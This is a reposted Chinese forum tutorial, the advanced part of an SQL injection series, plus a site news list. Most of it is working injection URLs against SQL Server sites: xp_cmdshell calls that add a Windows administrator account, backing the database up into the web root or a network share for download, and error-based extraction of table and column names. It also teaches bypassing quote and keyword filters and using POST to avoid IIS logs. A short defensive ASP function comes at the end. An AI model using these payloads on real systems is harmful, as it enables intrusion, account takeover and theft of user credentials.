收藏文章 楼主
SQL注入漏洞全接触--高级篇
网友【血蜘蛛】 2005-01-22 19:54:28 分享在【时代发展的印记】版块    1    1
看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

第一节、利用系统表注入SQLServer数据库

SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

① Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

② Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

③ Site/url.asp?id=1 ;;and db_name()>0

前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

④ Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

⑤ Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

⑥ Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

第二节、绕过程序限制继续注入

在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

第三节、经验小结

1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

防 范 方 法

SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:

Function SafeRequest(ParaName,ParaType)

'--- 传入参数 ---

'ParaName:参数名称-字符型

'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

Dim ParaValue

ParaValue=Request(ParaName)

If ParaType=1 then

If not isNumeric(ParaValue) then

Response.write "参数" & ParaName & "必须为数字型!"

Response.end

End if

Else

ParaValue=replace(ParaValue,"'","''")

End if

SafeRequest=ParaValue

End function

文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。

来源:csdn
meiguo.com 发布人签名/座右铭·有时你看似是一件很吃亏的事,往往会变成非常有得的事。
·凡事都留有余地,因为人是人,不是神,不免有错处,可以原谅人的地方,就原谅人。
·好的时候不要看得太好,坏的时候不要看的太坏。
大家都在看
回复/评论列表
默认   热门   正序   倒序
meiguo.com 创始人

emotion

1   2005-01-22 19:54:28  回复

回复/评论:SQL注入漏洞全接触--高级篇

暂无用户组 升级
退出
等级:0级
美果:
美过
精华推荐
  1. 美国年轻人的“中国观”悄然转变
  2. 中国留学生在入境美国时遭遇盘查,中方大使馆发布安全提醒!
  3. 川普总统的态度突变,暗示乌克兰应该反击俄罗斯本土?
  4. 加州州长竟然模仿川普总统的风格发帖,粉丝数和支持率“都涨了”!
  5. 植物油更健康?动物油脂摄入或将加速肿瘤生长
  6. 李开复:如果老板不AI,公司将会被AI淘汰!
  7. iPhone 17系列新品、iPhone Air发布了!
  8. 美国宣传制裁东南亚的19个电信诈骗网络实体
  9. YouTube“反诈频道”助力警方,破获6500万美元诈骗案!
  10. 白宫开通了TikTok 账号,传播政策信息!
  11. 从美国回到中国的,基本都会被问及这些问题!
  12. 全美房地产市场在趋向中性,区域分化明显!
  13. 马斯克“xAI”起诉前工程师“泄露机密”
  14. 选择西雅图、圣地亚哥还是洛杉矶?全面对比“三城生活”
  15. 相差3米!星舰试飞“精准溅落”展现技术突破
  16. 不输常春藤!盘点学费低、薪资高的25所美国公立大学
  17. 麦当劳CEO声称美国品牌的声誉在全球下滑
  18. 先交押金!美国重启了“签证保证金”试点计划
  19. 敌友即友?马斯克和扎克伯格开始接触,图谋合伙收购OpenAI?
  20. 休斯顿机场“小黑屋内的铝箔纸”:中国留学生遭遇遣返的36小时煎熬
  21. 启程回国:美元很香,但回家的路更香!
  22. 华人留学生“索赔1亿美元控诉”大学期间的农药伤害
  23. 持中国大陆护照在申请美国签证的注意事项更新(2025年8月版本)
  24. 川普家族竟然靠它狂揽45亿美金!操盘手是赵长鹏?
  25. 美国签证新规“取消第三国面签”的选项了
  26. 美国华裔二代坦言:中国发展现状,让父辈移民后悔了!
  27. 从近期的中国留学生在美国入境的悲惨遭遇说起
  28. 川普总统的“科技巨头宴”收获千亿级的投资承诺
  29. SpaceX的星舰“第十次试飞”成功了
  30. 美国“真放宽”了对中国留学生的入境政策?
  31. 华人科学家身陷“杀猪盘”,短短数月就被掏光250万美元积蓄!
  32. 中国留学生在入境美国时遭遇驱逐,禁止五年内再入境!
  33. 2025年度的美国公立高中排名发布,咱只关注前三!
  34. Niche发布2026全美最佳大学榜单 MIT重回榜首
  35. ICE抓捕的非法移民中,中国人数量激增?
  36. 美国市场的智能手机“印度制造”的份额激增

美国动态 美果搜索

Your IP: 216.73.216.36, 2025-09-17 21:42:36

Processed in 0.08153 second(s)

头像

用户名:

粉丝数:

签名:

资料 关注 好友 消息
已有0次打赏
(1) 分享
分享
取消